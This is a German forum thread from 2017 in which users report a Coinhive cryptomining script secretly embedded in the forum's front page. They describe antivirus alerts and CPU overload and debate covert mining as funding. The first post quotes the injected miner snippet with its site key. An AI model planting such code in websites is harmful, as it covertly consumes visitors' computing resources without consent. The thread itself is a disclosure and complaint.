Zum Inhalt springen

Coinhive Crypto-Miner

Gestartet von marcusysk · 05.10.2017 · 94 Beiträge · 84.470 Aufrufe

Beiträge
Hallo liebe Forums-Admins,

mein Virenscanner ist gerade beim Aufrufen der Titelseite angeschlagen. Offensichtlich ist JS-Code in den Quelltext eingefügt worden, der über die Website "Coinhive" versucht Bitcoins zu minen ohne die Nutzer zu fragen:

<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('D1t6CmXN8rXhZOQFKY6D97xUsSJ1agFD');
miner.start();
</script>


Ich finde das ehrlich gesagt nicht lustig und vielleicht könnte mal jemand dazu Stellung beziehen? Allen anderen bis dahin erstmal zur Info.

https://www.golem.de/news/kryptowaehrungen-webseiten-missbrauchen-nutzerrechner-fuer-kryptomining-1710-130403.html

Marcus
Zuletzt bearbeitet von marcusysk am 05.10.2017, 16:12
Das kann ich ebenfalls bestätigen, auch ich bekomme eine Warnung. Es ist kein üblicher Trojaner oder Virus, aber es nutzt Javascript, damit dann der eigene Rechner eine Kryptowährung bzw. die Blockchain rechnet. So wird der PC bzw. die CPU stark belastet und man gewährt unfreiwillig die Rechenkapazität des eigenen Rechners zum Zwecke anderer, die daran verdienen.

Die Admins sollten hier eine Stellung dazu geben!
Zuletzt bearbeitet von pizzabote am 05.10.2017, 21:47
Hab dasselbe Problem gehabt.
Mein G DATA Total Security meldet sich auch.[Anhang 53119 nicht verfügbar]


Junkware (PUP): Application.BitCoinMiner.SX (Engine A)
Datei: CE94BF5164C04AE312403C4CA6A85F4F3B1133A2
Verzeichnis: C:\Users\Harichter_2\AppData\Local\Mozilla\Firefox\Profiles\8qy6ymxb.default\cache2\entries
Prozess: firefox.exe
Zuletzt bearbeitet von Hades am 05.10.2017, 22:43
Ihr meint soetwas hier?

[Anhang 53121 nicht verfügbar]

Ich weiß aber auch nicht woher das kommt. Ich versuche mich mal schlau zu machen.

Update: Hmm, jetzt ist es weg :confused:
Zuletzt bearbeitet von Heineken77 am 05.10.2017, 23:07
Mod, nicht Admin! :) :) :)
Mein Rechner lief auf Volllast. Safari steigt dann mit Fehlermeldung aus. Runtergefahren, hochgefahren, Javascript deaktiviert. Alles gut jetzt. Trotzdem bin ich etwas irritiert. Komisches Gefühl, wenn der eigene Rechner Dinge für Fremde tut, die man nicht in Auftrag gegeben hat.
Zuletzt bearbeitet von tee100 am 05.10.2017, 23:24
Mein Rechner lief auf Volllast. Safari steigt dann mit Fehlermeldung aus. Runtergefahren, hochgefahren, Javascript deaktiviert. Alles gut jetzt. Trotzdem bin ich etwas irritiert. Komisches Gefühl, wenn der eigene Rechner Dinge für Fremde tut, die man nicht in Auftrag gegeben hat.


Dein Rechner braucht wohl noch etwas Führung und Erziehung. Vielleicht solltest Du Dir einen belasbareren suchen?
Meiner hat's erkannt und eliminiert. Manchmal geht eben doch nicht alles ohne guten Schutz. Gutes Gefühl, wenn der eigene Rechner und Fremde Dinge für mich tun, von denen ich gar nicht weiss, dass ich sie in Auftrag gegeben habe.
Wie auf dem Bild zu sehen lief meiner auch auf Anschlag. Ich hatte allerdings keinerlei Fehlermeldungen. Der Rechner hat so agiert als ob er einfach das macht was er soll. Wie der nötige Code jetzt auf die Seite hier kam weiß ich allerdings im Moment nicht. Und ja, das ist ein komisches Gefühl und ich will mir gar nicht vorstellen, wie das auf schwächeren Rechnern, oder auf welchen mit einem schlechtem CPU-Management aussieht. Ich denke mein Notebook hätte einfach krampfhaft versucht die Anforderung abzuarbeiten und damit jegliche Eingabe unmöglich gemacht. Ich war auch gerade sehr erstaunt als ich die Auslastung gesehen habe. Volle Auslastung habe ich eigentlich nur beim Video rendern, selbst bei den meißten Benchmarks schlagen nicht alle voll aus.
Mod, nicht Admin! :) :) :)
Ich empfehle AddOns für den Browser wie z.B. NoScript, da werden generell die Skripe blockiert und wenn benötigt dann eingeschaltet.
(...( und ich will mir gar nicht vorstellen, wie das auf schwächeren Rechnern, oder auf welchen mit einem schlechtem CPU-Management aussieht. Ich denke mein Notebook hätte einfach krampfhaft versucht die Anforderung abzuarbeiten und damit jegliche Eingabe unmöglich gemacht. (...)

Also mein Notebook läuft auf dem letzten Ast - da ist nix mehr zu holen (und da hat es dieser Wirrus aufgegeben).
Das kann ich ebenfalls bestätigen, auch ich bekomme eine Warnung. Es ist kein üblicher Trojaner oder Virus, aber es nutzt Javascript, damit dann der eigene Rechner eine Kryptowährung bzw. die Blockchain rechnet. So wird der PC bzw. die CPU stark belastet und man gewährt unfreiwillig die Rechenkapazität des eigenen Rechners zum Zwecke anderer, die daran verdienen.

Die Admins sollten hier eine Stellung dazu geben!

Na klar: Kryptowährung! Wieder so'n Fake-Krams.
Das kommt davon, wenn Mann die CPU wählt! Stark belastet und gewährt die Kapazitität eigener Unfreiwilliger zum Zwecke Anderer!

Genau, Ihr Admins! Raus mit der Sprache: Was habt Ihr mit der Mergel zu tun? In welcher Stellung?
Die Verlinkung ist gleich im Body vom HTML Code zu finden...

[Anhang 53122 nicht verfügbar]
Na klar: Kryptowährung! Wieder so'n Fake-Krams.
Von Kryptowährung mag man halten was man will, Fake ist es allerdings nicht, ebensowenig wie ein Virus.
Die Verlinkung ist gleich im Body vom HTML Code zu finden...

[Anhang 53122 nicht verfügbar]

Ja, das ist offensichtlich gezielt eingebettet wurden.

Ich weiß davon nichts, finde es allerdings nicht schlimm. Ich finde das ist eine nette Idee der Querfinanzierung eines Forums. Allerdings sollte man bei sowas die CPU-Last stark begrenzen, dann entsteht auch niemanden ein Schaden. Wenn man, als Beispiel, das Ganze auf 10% der CPU-Last begrenzt steigt auch der Energieverbrauch der CPU nur minimal an, das ist selbst bei mobilen Geräten kaum spürbar. So wie das jetzt eingestellt war war es allerdings Mist. <---- Das ist nur meine persönliche Meinung. Ich habe keine Ahnung wer das warum eingebettet hat!
Mod, nicht Admin! :) :) :)
Hallo
bekomme auch den Fehler,
Na klar: Kryptowährung! Wieder so'n Fake-Krams.
Von Kryptowährung mag man halten was man will, Fake ist es allerdings nicht, ebensowenig wie ein Virus.

Hehe! Mit Kryptowährung kenne ich mich aber aus!
Mancher FK wird das bestätigen: Fisti ist wieder aus ihrer Gruft erwacht...

Von Kryptowährung mag man halten was man will, Fake ist es allerdings nicht, ebensowenig wie ein Virus.



Ja, das ist offensichtlich gezielt eingebettet wurden.

Ich weiß davon nichts, finde es allerdings nicht schlimm. Ich finde das ist eine nette Idee der Querfinanzierung eines Forums. Allerdings sollte man bei sowas die CPU-Last stark begrenzen, dann entsteht auch niemanden ein Schaden. Wenn man, als Beispiel, das Ganze auf 10% der CPU-Last begrenzt steigt auch der Energieverbrauch der CPU nur minimal an, das ist selbst bei mobilen Geräten kaum spürbar. So wie das jetzt eingestellt war war es allerdings Mist. <---- Das ist nur meine persönliche Meinung. Ich habe keine Ahnung wer das warum eingebettet hat!

Oha!
Heftig... Doch nicht alles so ohne...
Ich habe vollkommenes Verständnis dafür, dass ein Forum finanziert sein will. Ob Bannerwerbung, Mitgliedsbeiträge oder was weiß ich. Dass man den Usern allerdings etwas heimlich unterjubelt, was ihre Maschinenlast deutlich erhöht, das finde ich schon ein ziemlich starkes Stück. Und unprofessionell. Ich meine Akkulaufzeiten und auch Lebensdauern von CPUs. Mit einer rechtzeitigen Kommunikation hätte man sich die jetzige Aufregung erspart und bestimmt auch Verständnis von den Usern erhalten.

Da Verantwortliche immer noch schweigen sieht es für mich nach dem Bubenstück aus, das ich wie oben erwähnt kritisiere.
Zuletzt bearbeitet von Hades am 06.10.2017, 11:54
Du möchtest mitdiskutieren? AnmeldenRegistrieren

Verbindung wird wiederhergestellt …

Verbindung fehlgeschlagen – neuer Versuch in Sekunden.

Verbindung verloren.
Bitte erneut versuchen oder die Seite neu laden.

Die Sitzung wurde vom Server pausiert.

Die Sitzung konnte nicht fortgesetzt werden.
Bitte Seite neu laden.